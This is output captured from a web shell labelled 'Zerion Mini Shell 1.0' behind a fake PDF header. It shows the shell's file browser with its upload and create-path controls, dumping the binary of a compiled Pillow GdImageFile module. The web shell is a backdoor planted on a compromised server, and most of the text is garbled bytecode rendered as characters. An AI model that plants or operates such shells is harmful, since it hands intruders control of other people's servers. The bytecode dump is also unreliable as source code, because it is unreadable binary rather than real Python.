%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/PIL/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/PIL/__pycache__/GdImageFile.cpython-312.pyc

�

��eR
��r�dZddlmZddlmZmZmZddlmZ	ddlm
ZGd�dej�Zdd	�Z
y
)a�
.. note::
    This format cannot be automatically recognized, so the
    class is not registered for use with :py:func:`PIL.Image.open()`.  To open a
    gd file, use the :py:func:`PIL.GdImageFile.open()` function instead.

.. warning::
    THE GD FORMAT IS NOT DESIGNED FOR DATA INTERCHANGE.  This
    implementation is provided for convenience and demonstrational
    purposes only.
�)�annotations�)�	ImageFile�ImagePalette�UnidentifiedImageError)�i16be)�i32bec��eZdZdZdZdZd�Zy)�GdImageFilea%
    Image plugin for the GD uncompressed format.  Note that this format
    is not supported by the standard :py:func:`PIL.Image.open()` function.  To use
    this plugin, you have to import the :py:mod:`PIL.GdImageFile` module and
    use the :py:func:`PIL.GdImageFile.open()` function.
    �GDzGD uncompressed imagesc��|jjd�}t|�dvr
d}t|��d|_t|d�t|d�f|_|d}|rdnd}t
|d	|z�}|d
kr||jd<tjd|d	|zdzd	|zdzd
z�|_
dd|jzd	|zdzd
zdfg|_y)Ni
)i��i��zNot a valid GD 2.x .gd file�L���r���transparency�XBGRi�raw)rr)rrr)
�fp�read�i16�SyntaxError�_mode�_size�i32�inforr�palette�size�tile)�self�s�msg�
true_color�true_color_offset�tindexs      �1/usr/lib/python3/dist-packages/PIL/GdImageFile.py�_openzGdImageFile._open.s����G�G�L�L�����q�6��'�/�C��c�"�"���
���A�Y��A�q�	�)��
��q�T�
�!+�A����Q��-�-�.���C�<�(.�D�I�I�n�%�#�'�'��A�a�+�+�a�/�!�6G�2G�!�2K�g�2U�V�
��������"��%�%��)�G�3��	
�
��	�N)�__name__�
__module__�__qualname__�__doc__�format�format_descriptionr)�r*r(rr#s����F�1��
r*rc�|�|dk7r
d}t|��	t|�S#t$r}d}t|�|�d}~wwxYw)a#
    Load texture from a GD image file.

    :param fp: GD file name, or an opened file handle.
    :param mode: Optional mode.  In this version, if the mode argument
        is given, it must be "r".
    :returns: An image instance.
    :raises OSError: If the image could not be read.
    �rzbad modezcannot identify this image fileN)�
ValueErrorrrr)r�moder$�es    r(�openr7OsK���s�{�����o��1��2�����1�/��$�S�)�q�0��1�s�
�	;�6�;N)r3)r.�
__future__r�rrr�_binaryrrr	rrr7r1r*r(�<module>r;s3��"
�#�=�=�!�!�)
�)�%�%�)
�X1r*

Zerion Mini Shell 1.0